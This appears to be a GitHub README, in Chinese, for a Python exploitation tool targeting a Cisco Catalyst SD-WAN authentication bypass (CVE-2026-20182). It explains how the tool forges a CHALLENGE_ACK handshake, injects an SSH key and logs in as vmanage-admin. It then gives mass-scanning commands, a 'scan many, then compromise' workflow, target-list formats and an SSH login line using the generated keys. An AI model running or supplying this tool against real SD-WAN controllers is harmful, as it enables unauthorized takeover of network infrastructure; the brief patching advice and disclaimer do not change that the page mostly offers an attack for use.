Nxploited/CVE-2026-20182

GitHub: Nxploited/CVE-2026-20182

针对 Cisco Catalyst SD-WAN peering 身份验证绕过漏洞(CVE-2026-20182)的 Python 漏洞利用评估工具,支持绕过探测与完整入侵验证。

Stars: 1 | Forks: 1

# CVE-2026-20182 Cisco Catalyst SD-WAN Peering 身份验证绕过 # CVE-2026-20182 — Cisco Catalyst SD-WAN Peering 身份验证绕过 **用于授权测试 Cisco Catalyst SD-WAN Controller / Manager peering 身份验证绕过 (CVE-2026-20182) 的评估工具。** | | | |---|---| | **CVE** | CVE-2026-20182 | | **严重性** | **严重 (CVSS 10.0)** | | **CVSS 3.1** | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` | | **产品** | Cisco Catalyst SD-WAN Controller (原 vSmart) · Cisco Catalyst SD-WAN Manager (原 vManage) | | **问题** | Peering 身份验证机制未正确执行 | | **脚本** | **`CVE-2026-20182.py`** | ## 漏洞概述 **2026 年 5 月安全公告:** **控制连接握手 / peering 身份验证**中的一个漏洞允许**未经身份验证的远程攻击者**绕过身份验证,并在受影响的系统上获取**高权限内部访问权限**。 攻击者向受影响的系统发送**特制请求**。成功后,攻击者可以通过**内部高权限非 root** 账户进行身份验证,并接入 **NETCONF**,从而能够篡改 SD-WAN fabric 配置。 | 项目 | 详情 | |------|--------| | **攻击向量** | 网络 | | **所需权限** | 无 | | **用户交互** | 无 | | **影响范围** | 已更改 | | **影响** | 机密性、完整性和可用性 — **高** | **建议:** 按照官方供应商指南应用 Cisco 安全修复程序。限制管理面暴露,监控控制面连接,并审计 SD-WAN 控制器是否存在未经授权的配置更改。 ## 控制台预览

CVE-2026-20182 operations console

## 工具:`CVE-2026-20182.py` 针对 Cisco SD-WAN **vdaemon** (UDP/DTLS **12346**) 的 **CVE-2026-20182** Python 3 漏洞利用框架。 ### 工作原理(分步说明) | 步骤 | 阶段 | 描述 | |------|--------|-------------| | **1** | **加载目标** | 解析 `targets.txt`,按 `(host, domain_id, site_id)` 合并重复项 | | **2** | **OpenSSL 预检** | 加载 **OpenSSL 3.x/4.x** 共享库以用于自定义 DTLS | | **3** | **DTLS 连接** | 连接到目标 UDP 端口(始终先尝试 **12346**,然后是可选的列表端口) | | **4** | **CHALLENGE** | 接收服务器 `CHALLENGE` (0x08) | | **5** | **CHALLENGE_ACK** | 发送特制的 `CHALLENGE_ACK` 作为 **vHub (type 2)** — 绕过身份验证 | | **6** | **Hello** | 完成 `Hello` 交换 — 确认绕过路径 | | **7a** | **CHECK 模式** | 到此停止 — 仅记录**绕过 / Hello 成功**(无密钥,无 SSH) | | **7b** | **FULL 模式** | 通过 `VMANAGE_TO_PEER` 注入 SSH 公钥 | | **8** | **注入 ACK** | 期望收到 `REGISTER_TO_VMANAGE` (0x0D) 作为协议确认 | | **9** | **SSH 验证** | 测试以 `vmanage-admin` 身份登录 TCP **830** (NETCONF),可选 **22** | | **10** | **输出** | 将发现结果分类到分级文件 + 人类可读的命令列表 | **Fabric 回退:** 遇到 `TEAR_DOWN` 或参数不匹配时,除非指定 `--no-fallback`,否则将重试备用 **domain/site** 预设 `(1,100)`, `(1,1)`, `(0,0)`。 ## 结果分级(请仔细阅读) | 级别 | 文件 | 含义 | |------|------|---------| | **01 — 确认 SSH** | `cisco_sdwan_01_confirmed_ssh.jsonl` | **`ssh_verified=true`** — 唯一被视为完全入侵证据的级别 | | **02 — 仅注入 ACK** | `cisco_sdwan_02_inject_ack_only.jsonl` | 协议接受了密钥注入;但 **SSH 登录失败** | | **03 — 仅绕过** | `cisco_sdwan_03_bypass_only.jsonl` | Hello/绕过成功;但**未确认注入** | **重要提示** - **`check` 模式** → 最高仅达到级别 **03**(绕过探测)。**并非**完整的漏洞利用证明。 - **`full` 模式** → 目标是级别 **01** (`ssh_verified`)。 - **列表中的 `https://host`** → **仅为 TCP Web 提示**(80/443)。**并非** 443 端口上的 UDP DTLS。 ## 环境要求 | 要求 | 说明 | |-------------|--------| | **Python** | 3.9+ | | **pip** | `cryptography`, `rich` | | **OpenSSL** | **3.x 或 4.x** 共享库 (`libssl` + `libcrypto`) — **必选** | ``` pip install -r requirements.txt ``` ### OpenSSL (系统) **Windows** 1. 安装 [Win64 OpenSSL 3.x](https://slproweb.com/products/Win32OpenSSL.html) 或同等软件 2. 将 `bin\` 添加到 **PATH**,或设置: ``` OPENSSL_HOME=C:\Program Files\OpenSSL-Win64 ``` **Linux** ``` # Debian/Ubuntu sudo apt install libssl3 openssl export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH ``` 如果无法加载 OpenSSL,该工具将在**启动时退出**。 ## 快速入门 ### 交互式菜单(默认) ``` python CVE-2026-20182.py ``` - 配置选项 **1–11**,然后按 **`0` = 启动扫描** - 默认运行模式:**`check`**(安全的绕过探测) ### 非交互式(自动化) ``` python CVE-2026-20182.py -y ``` ## 运行模式 | 模式 | 标志 | SSH 注入 | SSH 验证 | 适用场景 | |------|------|------------|------------|----------| | **CHECK** | `--mode check` (默认) | **否** | **否** | 大规模筛查,绕过检测 | | **FULL** | `--mode full` | **是** | **是** (除非指定 `--no-ssh-verify`) | 入侵证明 | **CHECK — 仅绕过探测** ``` python CVE-2026-20182.py -y --mode check ``` **FULL — 注入密钥 + 验证 SSH(仅限授权目标)** ``` python CVE-2026-20182.py -y --mode full ``` ## CLI 参考(所有标志 + 示例) ### 目标与工作线程 **`-f` / `--file`** — 目标列表(默认:`targets.txt`) ``` python CVE-2026-20182.py -y -f my_controllers.txt --mode check ``` **`-t` / `--threads`** — 工作线程数(1–200,默认 **12**) ``` python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check ``` **`--domain`** — 列表中未指定时的默认 `DOMAIN_ID`(默认:**1**) ``` python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check ``` **`--site`** — 列表中未指定时的默认 `SITE_ID`(默认:**100**) ``` python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full ``` ### 模式与自动化 **`--mode`** — `check` \| `full` ``` python CVE-2026-20182.py -y --mode full -f targets.txt ``` **`-y` / `--yes`** — 跳过交互式菜单;仅使用 CLI 参数 ``` python CVE-2026-20182.py -y -f targets.txt --mode check -t 20 ``` ### SSH 验证 **`--no-ssh-verify`** — 跳过注入后的 SSH 测试(在 full 模式下不推荐) ``` python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt ``` **`--verify-ssh22`** — 在 **830** 之后继续尝试 TCP **22** ``` python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt ``` ### UDP / fabric **`--no-try-list-udp`** — 仅限 UDP **12346**;忽略列表中的 `:port` ``` python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check ``` **`--extra-udp-ports`** — 实验室环境:每台主机上的额外 UDP 端口 ``` python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check ``` **`--no-fallback`** — 禁止在 `TEAR_DOWN` 时重试 domain/site ``` python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full ``` ### 日志记录 **`-v` / `--verbose`** — 记录每条协议 TX/RX 消息 ``` python CVE-2026-20182.py -y -v -f targets.txt --mode check ``` ## 交互式菜单(省略 `-y` 时) | # | 选项 | |---|--------| | **1** | 目标文件 | | **2** | 工作线程 | | **3** | 默认 DOMAIN_ID | | **4** | 默认 SITE_ID | | **5** | 模式: `check` / `full` | | **6** | 遇到 TEAR_DOWN 时 fabric 自动重试 | | **7** | 详细协议日志 | | **8** | 注入后验证 SSH | | **9** | 同时验证 SSH :22 | | **10** | 尝试明确的列表 UDP 端口 | | **11** | 额外 UDP 端口(实验室) | | **12** | 显示列表格式帮助 | | **0** | **▶ 启动扫描** | ## `targets.txt` 格式 每行一个目标。以 `#` 开头的行将被忽略。 | 格式 | 示例 | 行为 | |--------|---------|----------| | IP / 主机名 | `10.0.0.1` | UDP **12346** + 默认 domain/site | | IP + UDP 端口 | `10.0.0.2:12346` | 同时尝试列表 UDP 端口 | | IP + 端口 + domain + site | `10.0.0.3:12346:1:100` | 完整的 fabric 元组 | | HTTPS URL | `https://10.0.0.4` | 主机 + **仅 TCP 443 提示** (非 UDP/443) | | HTTP URL | `http://10.0.0.5` | **仅 TCP 80 提示** | | UDP URL | `udp://10.0.0.6:12346` | 显式 UDP | | 制表符/逗号分隔 | `10.0.0.7 12346 1 100` | 同四字段形式 | | 键=值 | `10.0.0.8;port=12346;domain=1;site=100` | 分号键值对语法 | **示例文件** ``` # Lab controllers — 仅限授权 10.10.10.1 10.10.10.2:12346:1:100 https://sdwan-controller.example.com 10.10.10.4:12346:1:1 ``` **不支持:** IPv6(仅限 IPv4 / 主机名)。 ## 输出文件 | 文件 | 内容 | |------|---------| | `cisco_sdwan_results.jsonl` | 每次尝试的原始 JSON 结果 | | `cisco_sdwan_success.txt` | 确认的 SSH 行(制表符分隔) | | `cisco_sdwan_01_confirmed_ssh.jsonl` | 级别 01 — **已验证 SSH** | | `cisco_sdwan_02_inject_ack_only.jsonl` | 级别 02 — 注入 ACK,SSH 失败 | | `cisco_sdwan_03_bypass_only.jsonl` | 级别 03 — 仅绕过 / Hello | | `cisco_sdwan_commands.txt` | 人类可读的 SSH 命令 | | `cisco_sdwan_findings.json` | 会话摘要及统计 | | `sdwan_keys/` | 生成的私钥(full 模式) | **SSH 命令示例(级别 01)** ``` ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" vmanage-admin@10.10.10.1 -p 830 -N ``` ## 推荐工作流 ### 1) 扫描大量主机(快速) ``` python CVE-2026-20182.py -y -f targets.txt --mode check -t 24 ``` 检查 `cisco_sdwan_03_bypass_only.jsonl` 及实时统计的**仅绕过**。 ### 2) 在入围主机上确认漏洞利用 ``` python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8 ``` 检查 **`cisco_sdwan_01_confirmed_ssh.jsonl`** — 这是唯一包含 **`ssh_verified: true`** 的文件。 ### 3) 调试单台主机(详细) ``` python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback ``` ## 实时遥测(扫描期间) | 计数器 | 含义 | |---------|---------| | **进度** | 已完成 / 总目标数 | | **SSH 已验证** | 级别 01 计数 | | **注入 ACK** | 级别 02 计数 | | **仅绕过** | 级别 03 计数 | | **失败** | 错误 / 无绕过 | ## 操作说明 - **默认模式为 `check`** — 本身不会写入密钥或证明 SSH。 - **真正的成功** = 仅在 **`full`** 模式下 `ssh_verified`。 - **已修补 / 错误的 fabric** → 通常在 `CHALLENGE_ACK` 之后遇到 `TEAR_DOWN`;请启用 fabric 回退或在列表中修复 domain/site。 - **防火墙**必须允许从扫描器到控制器的 **UDP/12346**(以及任何额外的列表 UDP 端口)。 - **切勿提交** `sdwan_keys/` 或扫描结果到公开仓库。 ## 法律免责声明 本软件仅供**授权的安全研究、防御性评估和教育**使用。 您必须拥有**明确的书面许可**,才能测试您不拥有或运营的任何系统。未经授权访问计算机系统是违法行为。作者不对因使用本工具而导致的误用、损坏或法律后果负责。 仅在明确授权您进行安全测试的系统和网络上使用本工具。 **作者:Nxploited ( Khaled Alenazi )**
标签:CISA项目, Python, StruQ, Web报告查看器, 内存分配, 威胁模拟, 安全测试工具, 思科SD-WAN, 无后门, 权限 bypass, 网络攻防, 逆向工具